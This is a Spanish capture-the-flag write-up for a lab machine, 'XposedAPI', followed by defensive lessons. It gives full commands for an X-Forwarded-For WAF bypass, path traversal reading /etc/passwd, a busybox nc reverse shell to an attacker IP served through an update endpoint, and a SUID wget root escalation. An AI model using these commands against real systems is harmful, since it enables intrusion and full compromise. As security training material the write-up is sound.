XposedAPI
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. XposedAPI publica en el 13337 una "Remote Software Management API" pensada solo paralocalhost. Un WAF filtra por host, pero se salta con la cabeceraX-Forwarded-For: 127.0.0.1(bypass de WAF con X-Forwarded-For). El endpoint/logs?file=sufre un path traversal que nos descubre al usuario válidoclumsyadmin(LFI / path traversal); con él,/updatedescarga y/restartejecuta un "actualizador" que es nuestra reverse shell. Para root, unwgetcon bit SUID y el truco--use-askpassde GTFOBins (abuso de binarios SUID).
Reconocimiento
Escaneo inicial
TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. Solo dos puertos, y el segundo es un servicio web poco común:
ping -c 1 192.168.211.134
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.211.134PORT STATE SERVICE
22/tcp open ssh
13337/tcp open httpnmap -p22,13337 -sCV 192.168.211.134 -oN targetedScanPORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
13337/tcp open http Gunicorn 20.0.4
|_http-title: Remote Software Management APIAPI - TCP 13337
La página raíz documenta la propia API y advierte, en rojo, que no debería estar expuesta ("This utility should not be exposed to external network. It is just for management on localhost"):

Los endpoints son elocuentes:
GET /version: versión de la app.GET /logs?file=: lee ficheros de log.POST /updatecon{"user": "...", "url": "..."}: actualiza la app descargando un ejecutable Linux.POST /restartcon{"confirm": "true"}: reinicia la app para aplicar los cambios.
La propia documentación del /update es la que regala el vector: describe el formato exacto del JSON y para qué sirve cada campo, incluido el url del que se descarga el ejecutable:

/update
Methods: POST
Updates the app using a linux executable. Content-Type: application/json
{"user":"<user requesting the update>", "url":"<url of the update to download>"}
/logs
Methods: GET
Read log files.
/restart
Methods: GET
To request the restart of the app.Un primer intento con un user inventado deja claro que el campo se valida contra una lista de usuarios reales, y ahí nace la necesidad de encontrar uno:
curl -X POST http://192.168.211.134:13337/update -H 'Content-Type: application/json' -d '{"user":"user", "url":"http://192.168.45.164/rev.sh"}'
Invalid username.Explotación
Bypass del WAF y path traversal
Un GET /logs directo choca con un WAF que filtra por host:
curl -X GET http://192.168.211.134:13337/logsWAF: Access Denied for this Host.El servicio se cree en localhost, así que confía en la cabecera X-Forwarded-For. Poniéndola a 127.0.0.1 el WAF nos deja pasar (bypass de WAF con X-Forwarded-For). Entonces /logs pide un parámetro file, y ese parámetro es vulnerable a path traversal: leemos /etc/passwd y descubrimos un usuario del sistema, clumsyadmin (LFI / path traversal):
curl -X GET 'http://192.168.211.134:13337/logs?file=../../../../../../../etc/passwd' \
-H 'X-Forwarded-For: 127.0.0.1' --path-as-is | tail -n 10
clumsyadmin:x:1000:1000::/home/clumsyadmin:/bin/shRCE por el endpoint /update
/update descarga un "ejecutable Linux" desde la URL que le indiquemos, en nombre de un usuario válido. El user genérico era rechazado; usando clumsyadmin (el que acabamos de descubrir) la petición se acepta. Antes de disparar la shell, dejamos Penelope a la escucha en el 22:
penelope 22Servimos un rev.sh con una reverse shell, lo referenciamos en /update y disparamos /restart:
# rev.sh
#!/bin/bash
busybox nc 192.168.45.164 22 -e bashcurl -X POST http://192.168.211.134:13337/update -H 'Content-Type: application/json' \
-d '{"user":"clumsyadmin", "url":"http://192.168.45.164/rev.sh"}'
curl -X POST http://192.168.211.134:13337/restart -H 'Content-Type: application/json' \
-d '{"confirm":"true"}'
Update requested by clumsyadmin. Restart the software for changes to take effect.
Restart Successful.
(Penelope)> listeners add -p 22
[+] Got reverse shell from xposedapi~192.168.211.134-Linux-x86_64 Assigned SessionID <1>
clumsyadmin@xposedapi:~/webapp$ whoami
clumsyadminLa shell corre como clumsyadmin.
Local
cat local.txt && whoami && ip a && hostname
bcc30cb8744303bc925a2688ef0a34a0
clumsyadminEscalada de privilegios
SUID wget
Buscamos binarios SUID y aparece wget, que no lleva ese bit por defecto:
find / -perm -4000 2>/dev/null
/usr/bin/wget
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
...wget figura en GTFOBins con un vector para SUID: la opción --use-askpass ejecuta el programa que le indiquemos para "pedir la contraseña", y al correr wget con el bit SUID ese programa hereda el UID efectivo de root. Preparamos un script que abra una shell con privilegios y lo pasamos por --use-askpass (abuso de binarios SUID):
echo -e '#!/bin/sh -p\n/bin/sh -p 1>&0' > /tmp/privesc
chmod +x /tmp/privesc
wget localhost --use-askpass=/tmp/privesc
clumsyadmin@xposedapi:~$ wget localhost --use-askpass=/tmp/privesc
# whoami
rootRoot
cat /root/proof.txt && whoami && ip a && hostname
fd11262a3d11edfa4de961e486efe22b
rootCadena de ataque
API (13337) -- Remote Software Management API (Gunicorn)
│ WAF filtra por host -> X-Forwarded-For: 127.0.0.1
│ /logs?file= path traversal -> /etc/passwd -> usuario clumsyadmin
│ /update (user=clumsyadmin, url=rev.sh) + /restart -> reverse shell
▼
clumsyadmin (local.txt)
│ SUID wget -> --use-askpass=/tmp/privesc
▼
root (proof.txt)Lecciones aprendidas
- No confíes en
X-Forwarded-Forpara autorizar. Un WAF que valida el "host de origen" mirando una cabecera que el cliente controla no protege nada: basta ponerla a127.0.0.1. El control de acceso debe hacerse en la capa de red o con la IP real de la conexión. - Un parámetro
filesin sanear es LFI. El path traversal de/logs?file=permitió leer/etc/passwdy, con él, un nombre de usuario válido que desbloqueó el resto de la API. - Una API que "actualiza" descargando y ejecutando es RCE por diseño.
/update+/restartcorría un binario arbitrario del atacante. Descargar y ejecutar código remoto nunca debe exponerse sin autenticación fuerte. wgetcon SUID es root. GTFOBins documenta--use-askpass(y otros vectores) parawget. Ningún binario de red necesita el bit SUID; revísalos confind / -perm -4000.